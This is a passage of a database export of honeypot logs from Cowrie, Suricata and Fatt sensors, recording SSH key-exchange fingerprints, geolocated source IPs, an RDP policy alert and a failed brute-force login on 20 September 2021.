"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40546, "dest_port": 22, "timestamp": "2021-09-20T11:17:27.934634", "@timestamp": "2021-09-20T11:17:27.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28409	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:27.935304+03	2021-09-20 14:30:02.793553+03	{"_id": "RwbsAnwBvYTbRNuE2S4S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "bab90381a08c", "@version": "1", "timestamp": "2021-09-20T11:17:27.935304Z", "@timestamp": "2021-09-20T11:17:27.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28410	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:17:27.905421+03	2021-09-20 14:30:02.795554+03	{"_id": "PQbsAnwBvYTbRNuE1i7t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1163031740888694, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40546, "dest_port": 22, "timestamp": "2021-09-20T11:17:27.905421Z", "@timestamp": "2021-09-20T11:17:27.905Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28411	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:27.905602+03	2021-09-20 14:30:02.796551+03	{"_id": "PwbsAnwBvYTbRNuE2C4z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40546, "timestamp": "2021-09-20T11:17:27.905602", "@timestamp": "2021-09-20T11:17:27.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28412	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:17:21.000974+03	2021-09-20 14:30:02.797554+03	{"_id": "GwbsAnwBvYTbRNuEuy6R", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:16:19.732254+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 984494240902238, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 62112, "timestamp": "2021-09-20T11:17:21.000974Z", "@timestamp": "2021-09-20T11:17:21.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28419	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:17:40.8447+03	2021-09-20 14:30:02.806554+03	{"_id": "kgbtAnwBvYTbRNuECS69", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 118313159183097, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47426, "dest_port": 22, "timestamp": "2021-09-20T11:17:40.844700Z", "@timestamp": "2021-09-20T11:17:40.844Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
28413	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:39.55727+03	2021-09-20 14:30:02.799554+03	{"_id": "fgbtAnwBvYTbRNuEAy4y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "176.122.188.154", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48454, "timestamp": "2021-09-20T11:17:39.557270", "@timestamp": "2021-09-20T11:17:39.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28414	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:17:39.559207+03	2021-09-20 14:30:02.800553+03	{"_id": "hwbtAnwBvYTbRNuEBC4S", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "a4a6b70f29a6", "@version": "1", "timestamp": "2021-09-20T11:17:39.559207Z", "@timestamp": "2021-09-20T11:17:39.559Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28415	176.122.188.154	109.199.241.180	Suricata	2021-09-20 14:17:39.557095+03	2021-09-20 14:30:02.801566+03	{"_id": "iAbtAnwBvYTbRNuEBS7V", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "176.122.188.154", "dest_ip": "192.168.20.116", "flow_id": 2064420823061537, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 48454, "dest_port": 22, "timestamp": "2021-09-20T11:17:39.557095Z", "@timestamp": "2021-09-20T11:17:39.557Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28416	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:40.151746+03	2021-09-20 14:30:02.802554+03	{"_id": "jAbtAnwBvYTbRNuEBy76", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:47426 (192.168.176.2:22) [session: 2feb97ee9362]", "session": "2feb97ee9362", "@version": "1", "protocol": "ssh", "src_port": 47426, "dest_port": 22, "timestamp": "2021-09-20T11:17:40.151746Z", "@timestamp": "2021-09-20T11:17:40.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28417	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:17:40.293599+03	2021-09-20 14:30:02.804553+03	{"_id": "jwbtAnwBvYTbRNuEBy76", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.login.failed", "message": "login attempt [nathalia/nathalia] failed", "session": "a4a6b70f29a6", "@version": "1", "password": "nathalia", "username": "nathalia", "timestamp": "2021-09-20T11:17:40.293599Z", "@timestamp": "2021-09-20T11:17:40.293Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28420	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:17:40.847584+03	2021-09-20 14:30:02.808554+03	{"_id": "lAbtAnwBvYTbRNuECy4D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47426, "timestamp": "2021-09-20T11:17:40.847584", "@timestamp": "2021-09-20T11:17:40.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28421	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:17:41.364571+03	2021-09-20 14:30:02.809555+03	{"_id": "lgbtAnwBvYTbRNuECy7j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2feb97ee9362", "@version": "1", "timestamp": "2021-09-20T11:17:41.364571Z", "@timestamp": "2021-09-20T11:17:41.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 